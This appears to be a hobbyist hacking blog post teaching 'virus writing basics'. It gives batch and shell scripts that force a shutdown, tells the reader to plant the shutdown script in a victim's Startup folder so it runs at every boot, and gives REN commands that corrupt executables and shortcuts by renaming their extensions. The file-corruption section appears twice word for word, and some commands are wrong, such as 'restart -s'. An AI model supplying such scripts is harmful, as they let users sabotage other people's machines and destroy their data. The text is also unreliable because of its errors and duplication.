First we will create the windows version.
Lets see how it works. Just close all windows . Now go to command prompt(Start >>>"RUN" now trpe "cmd"). Now you have entered MS-DOS/ Command prompt. Here You need to type "shutdown -s" or "restart -s". This will shutdown or restart your comp. We are making use of this DOS command to create this virus.
- Just open a notepad
- In that type "shutdown -s" or "restart -s".
- Now save it as virus.bat or yourname.bat.
- Now when you run it your system gets turned off.
To make this more powerful just force your victim to copy this into "START>>>ALL PROGRAM>>> STARTUP". Now this program will load every time the computer starts.
Only way out for him is to go in safe mode and delete it from startup. So go ahead and try them out.
Now the linux version.
In Linux we will create a shell script with the text "poweroff". Now go to the file where script is located and right click on it. Change the permission to allow all. Job done.
This is post is not intended to create a havoc and is just for educational purpose.
Change Files extentions
This is the virus writing basics section. Today we are going to show you to disable or corrupt files. This is demonstrated using batch programing/dos programing.
In order to corrupt files all that we do is change files to non-working TXT files or some other format.
REN *.EXE *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
REN *.LNK *.TXT
Just copy the above code into a Notepad file and save it .BAT This is not it You can even change files to any other extension like
*.JPEG *.DOC
*.COM means all files with extension .COM. Ren is a dos command to rename. The above cde just renames all . .COM files to .TXT.
In order to corrupt files all that we do is change files to non-working TXT files or some other format.
REN *.EXE *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
REN *.LNK *.TXT
Just copy the above code into a Notepad file and save it .BAT This is not it You can even change files to any other extension like
*.JPEG *.DOC
*.COM means all files with extension .COM. Ren is a dos command to rename. The above cde just renames all . .COM files to .TXT.